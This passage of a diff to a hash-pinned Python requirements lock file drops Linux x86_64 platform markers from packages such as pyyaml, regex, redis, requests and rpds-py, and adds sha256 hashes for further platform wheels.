+pypdf==6.19.0 \ --hash=sha256:7e5d6e730e7dae87d560a2cee218b852f6498c8be61966f3cd02ead971e48d14 \ --hash=sha256:bbc43aca292369ccc6cbc8a921991ecf2538a3587ab5a116eff06c321d647155 -pyperclip==1.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +pyperclip==1.11.0 \ --hash=sha256:244035963e4428530d9e3a6101a1ef97209c6825edab1567beac148ccc1db1b6 \ --hash=sha256:299403e9ff44581cb9ba2ffeed69c7aa96a008622ad0c46cb575ca75b5b84273 -python-dateutil==2.9.0.post0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +python-dateutil==2.9.0.post0 \ --hash=sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3 \ --hash=sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427 -python-docx==1.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +python-docx==1.2.0 \ --hash=sha256:3fd478f3250fbbbfd3b94fe1e985955737c145627498896a8a6bf81f4baf66c7 \ --hash=sha256:7bc9d7b7d8a69c9c02ca09216118c86552704edc23bac179283f2e38f86220ce -python-dotenv==1.2.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +python-dotenv==1.2.2 \ --hash=sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a \ --hash=sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3 -python-frontmatter==1.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +python-frontmatter==1.1.0 \ --hash=sha256:335465556358d9d0e6c98bbeb69b1c969f2a4a21360587b9873bfc3b213407c1 \ --hash=sha256:7118d2bd56af9149625745c58c9b51fb67e8d1294a0c76796dafdc72c36e5f6d -python-json-logger==4.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +python-json-logger==4.0.0 \ --hash=sha256:af09c9daf6a813aa4cc7180395f50f2a9e5fa056034c9953aec92e381c5ba1e2 \ --hash=sha256:f58e68eb46e1faed27e0f574a55a0455eecd7b8a5b88b85a784519ba3cff047f -python-multipart==0.0.31 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +python-multipart==0.0.31 \ --hash=sha256:8408153d68a9773291fc1da39a8b85a50044bddbabd2dd72e9229776b7b15e28 \ --hash=sha256:fc631183bb13e56db3158a4909908dfb2e23565286744e798241e63750e5d680 -pyyaml==6.0.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +pyyaml==6.0.2 \ + --hash=sha256:01179a4a8559ab5de078078f37e5c1a30d76bb88519906844fd7bdea1b7729ff \ + --hash=sha256:0833f8694549e586547b576dcfaba4a6b55b9e96098b36cdc7ebefe667dfed48 \ + --hash=sha256:0a9a2848a5b7feac301353437eb7d5957887edbf81d56e903999a75a3d743086 \ + --hash=sha256:0b69e4ce7a131fe56b7e4d770c67429700908fc0752af059838b1cfb41960e4e \ + --hash=sha256:0ffe8360bab4910ef1b9e87fb812d8bc0a308b0d0eef8c8f44e0254ab3b07133 \ + --hash=sha256:11d8f3dd2b9c1207dcaf2ee0bbbfd5991f571186ec9cc78427ba5bd32afae4b5 \ + --hash=sha256:17e311b6c678207928d649faa7cb0d7b4c26a0ba73d41e99c4fff6b6c3276484 \ + --hash=sha256:1e2120ef853f59c7419231f3bf4e7021f1b936f6ebd222406c3b60212205d2ee \ + --hash=sha256:1f71ea527786de97d1a0cc0eacd1defc0985dcf6b3f17bb77dcfc8c34bec4dc5 \ + --hash=sha256:23502f431948090f597378482b4812b0caae32c22213aecf3b55325e049a6c68 \ + --hash=sha256:24471b829b3bf607e04e88d79542a9d48bb037c2267d7927a874e6c205ca7e9a \ + --hash=sha256:29717114e51c84ddfba879543fb232a6ed60086602313ca38cce623c1d62cfbf \ + --hash=sha256:2e99c6826ffa974fe6e27cdb5ed0021786b03fc98e5ee3c5bfe1fd5015f42b99 \ + --hash=sha256:39693e1f8320ae4f43943590b49779ffb98acb81f788220ea932a6b6c51004d8 \ + --hash=sha256:3ad2a3decf9aaba3d29c8f537ac4b243e36bef957511b4766cb0057d32b0be85 \ + --hash=sha256:3b1fdb9dc17f5a7677423d508ab4f243a726dea51fa5e70992e59a7411c89d19 \ + --hash=sha256:41e4e3953a79407c794916fa277a82531dd93aad34e29c2a514c2c0c5fe971cc \ + --hash=sha256:43fa96a3ca0d6b1812e01ced1044a003533c47f6ee8aca31724f78e93ccc089a \ + --hash=sha256:50187695423ffe49e2deacb8cd10510bc361faac997de9efef88badc3bb9e2d1 \ + --hash=sha256:5ac9328ec4831237bec75defaf839f7d4564be1e6b25ac710bd1a96321cc8317 \ + --hash=sha256:5d225db5a45f21e78dd9358e58a98702a0302f2659a3c6cd320564b75b86f47c \ + --hash=sha256:6395c297d42274772abc367baaa79683958044e5d3835486c16da75d2a694631 \ + --hash=sha256:688ba32a1cffef67fd2e9398a2efebaea461578b0923624778664cc1c914db5d \ --hash=sha256:68ccc6023a3400877818152ad9a1033e3db8625d899c72eacb5a668902e4d652 \ --hash=sha256:70b189594dbe54f75ab3a1acec5f1e3faa7e8cf2f1e08d9b561cb41b845f69d5 \ + --hash=sha256:797b4f722ffa07cc8d62053e4cff1486fa6dc094105d13fea7b1de7d8bf71c9e \ + --hash=sha256:7c36280e6fb8385e520936c3cb3b8042851904eba0e58d277dca80a5cfed590b \ + --hash=sha256:7e7401d0de89a9a855c839bc697c079a4af81cf878373abd7dc625847d25cbd8 \ --hash=sha256:80bab7bfc629882493af4aa31a4cfa43a4c57c83813253626916b8c7ada83476 \ + --hash=sha256:82d09873e40955485746739bcb8b4586983670466c23382c19cffecbf1fd8706 \ + --hash=sha256:8388ee1976c416731879ac16da0aff3f63b286ffdd57cdeb95f3f2e085687563 \ + --hash=sha256:8824b5a04a04a047e72eea5cec3bc266db09e35de6bdfe34c9436ac5ee27d237 \ --hash=sha256:8b9c7197f7cb2738065c481a0461e50ad02f18c78cd75775628afb4d7137fb3b \ - --hash=sha256:d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e -redis==7.2.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:9056c1ecd25795207ad294bcf39f2db3d845767be0ea6e6a34d856f006006083 \ + --hash=sha256:936d68689298c36b53b29f23c6dbb74de12b4ac12ca6cfe0e047bedceea56180 \ + --hash=sha256:9b22676e8097e9e22e36d6b7bda33190d0d400f345f23d4065d48f4ca7ae0425 \ + --hash=sha256:a4d3091415f010369ae4ed1fc6b79def9416358877534caf6a0fdd2146c87a3e \ + --hash=sha256:a8786accb172bd8afb8be14490a16625cbc387036876ab6ba70912730faf8e1f \ + --hash=sha256:a9f8c2e67970f13b16084e04f134610fd1d374bf477b17ec1599185cf611d725 \ + --hash=sha256:bc2fa7c6b47d6bc618dd7fb02ef6fdedb1090ec036abab80d4681424b84c1183 \ + --hash=sha256:c70c95198c015b85feafc136515252a261a84561b7b1d51e3384e0655ddf25ab \ + --hash=sha256:cc1c1159b3d456576af7a3e4d1ba7e6924cb39de8f67111c735f6fc832082774 \ + --hash=sha256:ce826d6ef20b1bc864f0a68340c8b3287705cae2f8b4b1d932177dcc76721725 \ + --hash=sha256:d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e \ + --hash=sha256:d7fded462629cfa4b685c5416b949ebad6cec74af5e2d42905d41e257e0869f5 \ + --hash=sha256:d84a1718ee396f54f3a086ea0a66d8e552b2ab2017ef8b420e92edbc841c352d \ + --hash=sha256:d8e03406cac8513435335dbab54c0d385e4a49e4945d2909a581c83647ca0290 \ + --hash=sha256:e10ce637b18caea04431ce14fabcf5c64a1c61ec9c56b071a4b7ca131ca52d44 \ + --hash=sha256:ec031d5d2feb36d1d1a24380e4db6d43695f3748343d99434e6f5f9156aaa2ed \ + --hash=sha256:ef6107725bd54b262d6dedcc2af448a266975032bc85ef0172c5f059da6325b4 \ + --hash=sha256:efdca5630322a10774e8e98e1af481aad470dd62c3170801852d752aa7a783ba \ + --hash=sha256:f753120cb8181e736c57ef7636e83f31b9c0d1722c516f7e86cf15b7aa57ff12 \ + --hash=sha256:ff3824dc5261f50c9b0dfb3be22b4567a6f938ccce4587b38952d85fd9e9afe4 +redis==7.2.1 \ --hash=sha256:49e231fbc8df2001436ae5252b3f0f3dc930430239bfeb6da4c7ee92b16e5d33 \ --hash=sha256:6163c1a47ee2d9d01221d8456bc1c75ab953cbda18cfbc15e7140e9ba16ca3a5 -referencing==0.36.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +referencing==0.36.2 \ --hash=sha256:df2e89862cd09deabbdba16944cc3f10feb6b3e6f18e902f7cc25609a34775aa \ --hash=sha256:e8699adbbf8b5c7de96d8ffa0eb5c158b3beafce084968e2ea8bb08c6794dcd0 -regex==2025.9.18 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +regex==2025.9.18 \ + --hash=sha256:032720248cbeeae6444c269b78cb15664458b7bb9ed02401d3da59fe4d68c3a5 \ + --hash=sha256:039a9d7195fd88c943d7c777d4941e8ef736731947becce773c31a1009cb3c35 \ --hash=sha256:039f11b618ce8d71a1c364fdee37da1012f5a3e79b1b2819a9f389cd82fd6282 \ + --hash=sha256:05440bc172bc4b4b37fb9667e796597419404dbba62e171e1f826d7d2a9ebcef \ --hash=sha256:06104cd203cdef3ade989a1c45b6215bf42f8b9dd705ecc220c173233f7cba41 \ + --hash=sha256:065b6956749379d41db2625f880b637d4acc14c0a4de0d25d609a62850e96d36 \ + --hash=sha256:0716e4d6e58853d83f6563f3cf25c281ff46cf7107e5f11879e32cb0b59797d9 \ + --hash=sha256:0ac936537ad87cef9e0e66c5144484206c1354224ee811ab1519a32373e411f3 \ + --hash=sha256:0c3506682ea19beefe627a38872d8da65cc01ffa25ed3f2e422dffa1474f0788 \ + --hash=sha256:0cc3521060162d02bd36927e20690129200e5ac9d2c6d32b70368870b122db25 \ + --hash=sha256:0dc6893b1f502d73037cf807a321cdc9be29ef3d6219f7970f842475873712ac \ + --hash=sha256:0f0d676522d68c207828dcd01fb6f214f63f238c283d9f01d85fc664c7c85b56 \ + --hash=sha256:0ffd9e230b826b15b369391bec167baed57c7ce39efc35835448618860995946 \ + --hash=sha256:1137cabc0f38807de79e28d3f6e3e3f2cc8cfb26bead754d02e6d1de5f679203 \ + --hash=sha256:12296202480c201c98a84aecc4d210592b2f55e200a1d193235c4db92b9f6788 \ + --hash=sha256:13202e4c4ac0ef9a317fff817674b293c8f7e8c68d3190377d8d8b749f566e12 \ + --hash=sha256:168be0d2f9b9d13076940b1ed774f98595b4e3c7fc54584bba81b3cc4181742e \ + --hash=sha256:16bd2944e77522275e5ee36f867e19995bcaa533dcb516753a26726ac7285442 \ + --hash=sha256:16eaf74b3c4180ede88f620f299e474913ab6924d5c4b89b3833bc2345d83b3d \ + --hash=sha256:1a351aff9e07a2dabb5022ead6380cff17a4f10e4feb15f9100ee56c4d6d06af \ + --hash=sha256:1b9d9a2d6cda6621551ca8cf7a06f103adf72831153f3c0d982386110870c4d3 \ + --hash=sha256:1e85f73ef7095f0380208269055ae20524bfde3f27c5384126ddccf20382a638 \ + --hash=sha256:1ef86a9ebc53f379d921fb9a7e42b92059ad3ee800fcd9e0fe6181090e9f6c23 \ + --hash=sha256:220381f1464a581f2ea988f2220cf2a67927adcef107d47d6897ba5a2f6d51a4 \ + --hash=sha256:274687e62ea3cf54846a9b25fc48a04459de50af30a7bd0b61a9e38015983494 \ + --hash=sha256:29cd86aa7cb13a37d0f0d7c21d8d949fe402ffa0ea697e635afedd97ab4b69f1 \ + --hash=sha256:2a40f929cd907c7e8ac7566ac76225a77701a6221bca937bdb70d56cb61f57b2 \ + --hash=sha256:2e1eddc06eeaffd249c0adb6fafc19e2118e6308c60df9db27919e96b5656096 \ + --hash=sha256:300e25dbbf8299d87205e821a201057f2ef9aa3deb29caa01cd2cac669e508d5 \ + --hash=sha256:34d674cbba70c9398074c8a1fcc1a79739d65d1105de2a3c695e2b05ea728251 \ + --hash=sha256:3810a65675845c3bdfa58c3c7d88624356dd6ee2fc186628295e0969005f928d \ + --hash=sha256:385c9b769655cb65ea40b6eea6ff763cbb6d69b3ffef0b0db8208e1833d4e746 \ + --hash=sha256:3acc471d1dd7e5ff82e6cacb3b286750decd949ecd4ae258696d04f019817ef8 \ + --hash=sha256:3b524d010973f2e1929aeb635418d468d869a5f77b52084d9f74c272189c251d \ + --hash=sha256:3d86b5247bf25fa3715e385aa9ff272c307e0636ce0c9595f64568b41f0a9c77 \ + --hash=sha256:3dbcfcaa18e9480669030d07371713c10b4f1a41f791ffa5cb1a99f24e777f40 \ + --hash=sha256:40532bff8a1a0621e7903ae57fce88feb2e8a9a9116d341701302c9302aef06e \ + --hash=sha256:431bd2a8726b000eb6f12429c9b438a24062a535d06783a93d2bcbad3698f8a8 \ + --hash=sha256:436e1b31d7efd4dcd52091d076482031c611dde58bf9c46ca6d0a26e33053a7e \ + --hash=sha256:47acd811589301298c49db2c56bde4f9308d6396da92daf99cba781fa74aa450 \ + --hash=sha256:48317233294648bf7cd068857f248e3a57222259a5304d32c7552e2284a1b2ad \ + --hash=sha256:4a12a06c268a629cb67cc1d009b7bb0be43e289d00d5111f86a2efd3b1949444 \ + --hash=sha256:4b8cdbddf2db1c5e80338ba2daa3cfa3dec73a46fff2a7dda087c8efbf12d62f \ + --hash=sha256:4baeb1b16735ac969a7eeecc216f1f8b7caf60431f38a2671ae601f716a32d25 \ + --hash=sha256:4dc98ba7dd66bd1261927a9f49bd5ee2bcb3660f7962f1ec02617280fc00f5eb \ --hash=sha256:4f130c3a7845ba42de42f380fff3c8aebe89a810747d91bcf56d40a069f15352 \ + --hash=sha256:50e8290707f2fb8e314ab3831e594da71e062f1d623b05266f8cfe4db4949afd \ + --hash=sha256:51076980cd08cd13c88eb7365427ae27f0d94e7cebe9ceb2bb9ffdae8fc4d82a \ --hash=sha256:5514b8e4031fdfaa3d27e92c75719cbe7f379e28cacd939807289bce76d0e35a \ + --hash=sha256:57929d0f92bebb2d1a83af372cd0ffba2263f13f376e19b1e4fa32aec4efddc3 \ + --hash=sha256:57a161bd3acaa4b513220b49949b07e252165e6b6dc910ee7617a37ff4f5b425 \ + --hash=sha256:5adf266f730431e3be9021d3e5b8d5ee65e563fec2883ea8093944d21863b379 \ + --hash=sha256:5db95ff632dbabc8c38c4e82bf545ab78d902e81160e6e455598014f0abe66b9 \ + --hash=sha256:5f96fa342b6f54dcba928dd452e8d8cb9f0d63e711d1721cd765bb9f73bb048d \ + --hash=sha256:6479d5555122433728760e5f29edb4c2b79655a8deb681a141beb5c8a025baea \ + --hash=sha256:65d3c38c39efce73e0d9dc019697b39903ba25b1ad45ebbd730d2cf32741f40d \ + --hash=sha256:6a4b44df31d34fa51aa5c995d3aa3c999cec4d69b9bd414a8be51984d859f06d \ + --hash=sha256:6a52219a93dd3d92c675383efff6ae18c982e2d7651c792b1e6d121055808743 \ + --hash=sha256:6b498437c026a3d5d0be0020023ff76d70ae4d77118e92f6f26c9d0423452446 \ + --hash=sha256:726177ade8e481db669e76bf99de0b278783be8acd11cef71165327abd1f170a \ + --hash=sha256:7b47fcf9f5316c0bdaf449e879407e1b9937a23c3b369135ca94ebc8d74b1742 \ + --hash=sha256:7c9f285a071ee55cd9583ba24dde006e53e17780bb309baa8e4289cd472bcc47 \ --hash=sha256:7cc9e5525cada99699ca9223cce2d52e88c52a3d2a0e842bd53de5497c604164 \ + --hash=sha256:7e2b414deae99166e22c005e154a5513ac31493db178d8aec92b3269c9cce8c9 \ + --hash=sha256:828446870bd7dee4e0cbeed767f07961aa07f0ea3129f38b3ccecebc9742e0b8 \ + --hash=sha256:8620d247fb8c0683ade51217b459cb4a1081c0405a3072235ba43a40d355c09a \ + --hash=sha256:874ff523b0fecffb090f80ae53dc93538f8db954c8bb5505f05b7787ab3402a0 \ + --hash=sha256:87f681bfca84ebd265278b5daa1dcb57f4db315da3b5d044add7c30c10442e61 \ + --hash=sha256:8900b3208e022570ae34328712bef6696de0804c122933414014bae791437ab2 \ + --hash=sha256:895197241fccf18c0cea7550c80e75f185b8bd55b6924fcae269a1a92c614a07 \ + --hash=sha256:8e5f41ad24a1e0b5dfcf4c4e5d9f5bd54c895feb5708dd0c1d0d35693b24d478 \ + --hash=sha256:8f9698b6f6895d6db810e0bda5364f9ceb9e5b11328700a90cae573574f61eea \ + --hash=sha256:9098e29b3ea4ffffeade423f6779665e2a4f8db64e699c0ed737ef0db6ba7b12 \ + --hash=sha256:90b6b7a2d0f45b7ecaaee1aec6b362184d6596ba2092dd583ffba1b78dd0231c \ --hash=sha256:92a8e375ccdc1256401c90e9dc02b8642894443d549ff5e25e36d7cf8a80c783 \ --hash=sha256:9feb29817df349c976da9a0debf775c5c33fc1c8ad7b9f025825da99374770b7 \ + --hash=sha256:a021217b01be2d51632ce056d7a837d3fa37c543ede36e39d14063176a26ae29 \ + --hash=sha256:a276937d9d75085b2c91fb48244349c6954f05ee97bba0963ce24a9d915b8b68 \ + --hash=sha256:a295916890f4df0902e4286bc7223ee7f9e925daa6dcdec4192364255b70561a \ + --hash=sha256:a61e85bfc63d232ac14b015af1261f826260c8deb19401c0597dbb87a864361e \ + --hash=sha256:a78722c86a3e7e6aadf9579e3b0ad78d955f2d1f1a8ca4f67d7ca258e8719d4b \ + --hash=sha256:ae77e447ebc144d5a26d50055c6ddba1d6ad4a865a560ec7200b8b06bc529368 \ + --hash=sha256:ae9b3840c5bd456780e3ddf2f737ab55a79b790f6409182012718a35c6d43282 \ + --hash=sha256:b176326bcd544b5e9b17d6943f807697c0cb7351f6cfb45bf5637c95ff7e6306 \ + --hash=sha256:b7531a8ef61de2c647cdf68b3229b071e46ec326b3138b2180acb4275f470b01 \ + --hash=sha256:b80fa342ed1ea095168a3f116637bd1030d39c9ff38dc04e54ef7c521e01fc95 \ + --hash=sha256:bbb9246568f72dce29bcd433517c2be22c7791784b223a810225af3b50d1aafb \ + --hash=sha256:bc4b8e9d16e20ddfe16430c23468a8707ccad3365b06d4536142e71823f3ca29 \ + --hash=sha256:c190af81e5576b9c5fdc708f781a52ff20f8b96386c6e2e0557a78402b029f4a \ + --hash=sha256:c204e93bf32cd7a77151d44b05eb36f469d0898e3fba141c026a26b79d9914a0 \ + --hash=sha256:c28821d5637866479ec4cc23b8c990f5bc6dd24e5e4384ba4a11d38a526e1414 \ --hash=sha256:c5ba23274c61c6fef447ba6a39333297d0c247f53059dba0bca415cac511edc4 \ + --hash=sha256:c6db75b51acf277997f3adcd0ad89045d856190d13359f15ab5dda21581d9129 \ + --hash=sha256:c81b892af4a38286101502eae7aec69f7cd749a893d9987a92776954f3943408 \ + --hash=sha256:c90471671c2cdf914e58b6af62420ea9ecd06d1554d7474d50133ff26ae88feb \ + --hash=sha256:d13ab0490128f2bb45d596f754148cd750411afc97e813e4b3a61cf278a23bb6 \ --hash=sha256:d3bc882119764ba3a119fbf2bd4f1b47bc56c1da5d42df4ed54ae1e8e66fdf8f \ --hash=sha256:d488c236ac497c46a5ac2005a952c1a0e22a07be9f10c3e735bc7d1209a34773 \ - --hash=sha256:dec57f96d4def58c422d212d414efe28218d58537b5445cf0c33afb1b4768571 -reportlab==4.4.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:d4a691494439287c08ddb9b5793da605ee80299dd31e95fa3f323fac3c33d9d4 \ + --hash=sha256:d59ecf3bb549e491c8104fea7313f3563c7b048e01287db0a90485734a70a730 \ + --hash=sha256:dbef80defe9fb21310948a2595420b36c6d641d9bea4c991175829b2cc4bc06a \ + --hash=sha256:dec57f96d4def58c422d212d414efe28218d58537b5445cf0c33afb1b4768571 \ + --hash=sha256:dfbde38f38004703c35666a1e1c088b778e35d55348da2b7b278914491698d6a \ + --hash=sha256:e1dd06f981eb226edf87c55d523131ade7285137fbde837c34dc9d1bf309f459 \ + --hash=sha256:e3ef8cf53dc8df49d7e28a356cf824e3623764e9833348b655cfed4524ab8a90 \ + --hash=sha256:e4121f1ce2b2b5eec4b397cc1b277686e577e658d8f5870b7eb2d726bd2300ab \ + --hash=sha256:ec46332c41add73f2b57e2f5b642f991f6b15e50e9f86285e08ffe3a512ac39f \ + --hash=sha256:ef8d10cc0989565bcbe45fb4439f044594d5c2b8919d3d229ea2c4238f1d55b0 \ + --hash=sha256:f04d2f20da4053d96c08f7fde6e1419b7ec9dbcee89c96e3d731fca77f411b95 \ + --hash=sha256:f2f422214a03fab16bfa495cfec72bee4aaa5731843b771860a471282f1bf74f \ + --hash=sha256:f4d97071c0ba40f0cf2a93ed76e660654c399a0a04ab7d85472239460f3da84b \ + --hash=sha256:f5cca697da89b9f8ea44115ce3130f6c54c22f541943ac8e9900461edc2b8bd4 \ + --hash=sha256:fb137ec7c5c54f34a25ff9b31f6b7b0c2757be80176435bf367111e3f71d72df \ + --hash=sha256:fb967eb441b0f15ae610b7069bdb760b929f267efbf522e814bbbfffdf125ce2 \ + --hash=sha256:fe5d50572bc885a0a799410a717c42b1a6b50e2f45872e2b40f4f288f9bce8a2 +reportlab==4.4.4 \ --hash=sha256:299b3b0534e7202bb94ed2ddcd7179b818dcda7de9d8518a57c85a58a1ebaadb \ --hash=sha256:cb2f658b7f4a15be2cc68f7203aa67faef67213edd4f2d4bdd3eb20dab75a80d -requests==2.33.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +requests==2.33.0 \ --hash=sha256:3324635456fa185245e24865e810cecec7b4caf933d7eb133dcde67d48cee69b \ --hash=sha256:c7ebc5e8b0f21837386ad0e1c8fe8b829fa5f544d8df3b2253bff14ef29d7652 -requests-oauthlib==2.0.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +requests-oauthlib==2.0.0 \ --hash=sha256:7dd8a5c40426b779b0868c404bdef9768deccf22749cde15852df527e6269b36 \ --hash=sha256:b3dffaebd884d8cd778494369603a9e7b58d29111bf6b41bdc2dcd87203af4e9 -rich==14.3.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +rich==14.3.3 \ --hash=sha256:793431c1f8619afa7d3b52b2cdec859562b950ea0d4b6b505397612db8d5362d \ --hash=sha256:b8daa0b9e4eef54dd8cf7c86c03713f53241884e814f4e2f5fb342fe520f639b -rich-rst==1.3.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +rich-rst==1.3.2 \ --hash=sha256:a1196fdddf1e364b02ec68a05e8ff8f6914fee10fbca2e6b6735f166bb0da8d4 \ --hash=sha256:a99b4907cbe118cf9d18b0b44de272efa61f15117c61e39ebdc431baf5df722a -rpds-py==0.27.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +rpds-py==0.27.1 \ + --hash=sha256:008b839781d6c9bf3b6a8984d1d8e56f0ec46dc56df61fd669c49b58ae800400 \ + --hash=sha256:037a2361db72ee98d829bc2c5b7cc55598ae0a5e0ec1823a56ea99374cfd73c1 \ + --hash=sha256:079bc583a26db831a985c5257797b2b5d3affb0386e7ff886256762f82113b5e \ + --hash=sha256:08f1e20bccf73b08d12d804d6e1c22ca5530e71659e6673bce31a6bb71c1e73f \ + --hash=sha256:0b08d152555acf1f455154d498ca855618c1378ec810646fcd7c76416ac6dc60 \ + --hash=sha256:0d807710df3b5faa66c731afa162ea29717ab3be17bdc15f90f2d9f183da4059 \ --hash=sha256:0dc5dceeaefcc96dc192e3a80bbe1d6c410c469e97bdd47494a7d930987f18b2 \ --hash=sha256:12ed005216a51b1d6e2b02a7bd31885fe317e45897de81d86dcce7d74618ffff \ + --hash=sha256:134fae0e36022edad8290a6661edf40c023562964efea0cc0ec7f5d392d2aaef \ + --hash=sha256:13e608ac9f50a0ed4faec0e90ece76ae33b34c0e8656e3dceb9a7db994c692cd \ + --hash=sha256:1441811a96eadca93c517d08df75de45e5ffe68aa3089924f963c782c4b898cf \ + --hash=sha256:15d3b4d83582d10c601f481eca29c3f138d44c92187d197aff663a269197c02d \ + --hash=sha256:16323f674c089b0360674a4abd28d5042947d54ba620f72514d69be4ff64845e \ + --hash=sha256:168b025f8fd8d8d10957405f3fdcef3dc20f5982d398f90851f4abc58c566c52 \ --hash=sha256:1b207d881a9aef7ba753d69c123a35d96ca7cb808056998f6b9e8747321f03b8 \ + --hash=sha256:1fea2b1a922c47c51fd07d656324531adc787e415c8b116530a1d29c0516c62d \ + --hash=sha256:23f6b69d1c26c4704fec01311963a41d7de3ee0570a84ebde4d544e5a1859ffc \ + --hash=sha256:2643400120f55c8a96f7c9d858f7be0c88d383cd4653ae2cf0d0c88f668073e5 \ --hash=sha256:26a1c73171d10b7acccbded82bf6a586ab8203601e565badc74bbbf8bc5a10f8 \ + --hash=sha256:2bde09cbcf2248b73c7c323be49b280180ff39fadcfe04e7b6f54a678d02a7cf \ + --hash=sha256:2c426b99a068601b5f4623573df7a7c3d72e87533a2dd2253353a03e7502566c \ --hash=sha256:2efe4eb1d01b7f5f1939f4ef30ecea6c6b3521eec451fb93191bf84b2a522418 \ + --hash=sha256:2f57af9b4d0793e53266ee4325535a31ba48e2f875da81a9177c9926dfa60746 \ + --hash=sha256:2fd50659a069c15eef8aa3d64bbef0d69fd27bb4a50c9ab4f17f83a16cbf8905 \ + --hash=sha256:3020724ade63fe320a972e2ffd93b5623227e684315adce194941167fee02688 \ + --hash=sha256:3182af66048c00a075010bc7f4860f33913528a4b6fc09094a6e7598e462fe39 \ + --hash=sha256:31d3ebadefcd73b73928ed0b2fd696f7fefda8629229f81929ac9c1854d0cffb \ + --hash=sha256:33aa65b97826a0e885ef6e278fbd934e98cdcfed80b63946025f01e2f5b29502 \ + --hash=sha256:387ce8c44ae94e0ec50532d9cb0edce17311024c9794eb196b90e1058aadeb66 \ + --hash=sha256:3adc388fc3afb6540aec081fa59e6e0d3908722771aa1e37ffe22b220a436f0b \ + --hash=sha256:3c64d07e95606ec402a0a1c511fe003873fa6af630bda59bac77fac8b4318ebc \ --hash=sha256:3ce0cac322b0d69b63c9cdb895ee1b65805ec9ffad37639f291dd79467bee675 \ + --hash=sha256:3d905d16f77eb6ab2e324e09bfa277b4c8e5e6b8a78a3e7ff8f3cdf773b4c013 \ + --hash=sha256:3deab27804d65cd8289eb814c2c0e807c4b9d9916c9225e363cb0cf875eb67c1 \ + --hash=sha256:3e039aabf6d5f83c745d5f9a0a381d031e9ed871967c0a5c38d201aca41f3ba1 \ + --hash=sha256:41e532bbdcb57c92ba3be62c42e9f096431b4cf478da9bc3bc6ce5c38ab7ba7a \ + --hash=sha256:42a89282d711711d0a62d6f57d81aa43a1368686c45bc1c46b7f079d55692734 \ --hash=sha256:466bfe65bd932da36ff279ddd92de56b042f2266d752719beb97b08526268ec5 \ + --hash=sha256:4708c5c0ceb2d034f9991623631d3d23cb16e65c83736ea020cdbe28d57c0a0e \ + --hash=sha256:47162fdab9407ec3f160805ac3e154df042e577dd53341745fc7fb3f625e6d92 \ + --hash=sha256:4848ca84d6ded9b58e474dfdbad4b8bfb450344c0551ddc8d958bf4b36aa837c \ + --hash=sha256:4b507d19f817ebaca79574b16eb2ae412e5c0835542c93fe9983f1e432aca195 \ + --hash=sha256:4e44099bd522cba71a2c6b97f68e19f40e7d85399de899d66cdb67b32d7cb786 \ + --hash=sha256:4ed2e16abbc982a169d30d1a420274a709949e2cbdef119fe2ec9d870b42f274 \ + --hash=sha256:4f75e4bd8ab8db624e02c8e2fc4063021b58becdbe6df793a8111d9343aec1e3 \ + --hash=sha256:4fc9b7fe29478824361ead6e14e4f5aed570d477e06088826537e202d25fe859 \ + --hash=sha256:50c946f048209e6362e22576baea09193809f87687a95a8db24e5fbdb307b93a \ + --hash=sha256:5281ed1cc1d49882f9997981c88df1a22e140ab41df19071222f7e5fc4e72125 \ + --hash=sha256:530064db9146b247351f2a0250b8f00b289accea4596a033e94be2389977de71 \ + --hash=sha256:55266dafa22e672f5a4f65019015f90336ed31c6383bd53f5e7826d21a0e0b83 \ + --hash=sha256:5b640501be9288c77738b5492b3fd3abc4ba95c50c2e41273c8a1459f08298d3 \ + --hash=sha256:62ac3d4e3e07b58ee0ddecd71d6ce3b1637de2d373501412df395a0ec5f9beb5 \ + --hash=sha256:62f85b665cedab1a503747617393573995dac4600ff51869d69ad2f39eb5e817 \ + --hash=sha256:639fd5efec029f99b79ae47e5d7e00ad8a773da899b6309f6786ecaf22948c48 \ + --hash=sha256:6567d2bb951e21232c2f660c24cf3470bb96de56cdcb3f071a83feeaff8a2772 \ + --hash=sha256:67ce7620704745881a3d4b0ada80ab4d99df390838839921f99e63c474f82cf2 \ + --hash=sha256:689fb5200a749db0415b092972e8eba85847c23885c8543a8b0f5c009b1a5948 \ + --hash=sha256:68afeec26d42ab3b47e541b272166a0b4400313946871cba3ed3a4fc0cab1cef \ + --hash=sha256:6e5e54da1e74b91dbc7996b56640f79b195d5925c2b78efaa8c5d53e1d88edde \ + --hash=sha256:6f4461bf931108c9fa226ffb0e257c1b18dc2d44cd72b125bec50ee0ab1248a9 \ + --hash=sha256:6f5b7bd8e219ed50299e58551a410b64daafb5017d54bbe822e003856f06a802 \ + --hash=sha256:70d0738ef8fee13c003b100c2fbd667ec4f133468109b3472d249231108283a3 \ + --hash=sha256:71108900c9c3c8590697244b9519017a400d9ba26a36c48381b3f64743a44aab \ + --hash=sha256:74e5b2f7bb6fa38b1b10546d27acbacf2a022a8b5543efb06cfebc72a59c85be \ + --hash=sha256:78af06ddc7fe5cc0e967085a9115accee665fb912c22a3f54bad70cc65b05fe6 \ + --hash=sha256:7b002cab05d6339716b03a4a3a2ce26737f6231d7b523f339fa061d53368c9d8 \ + 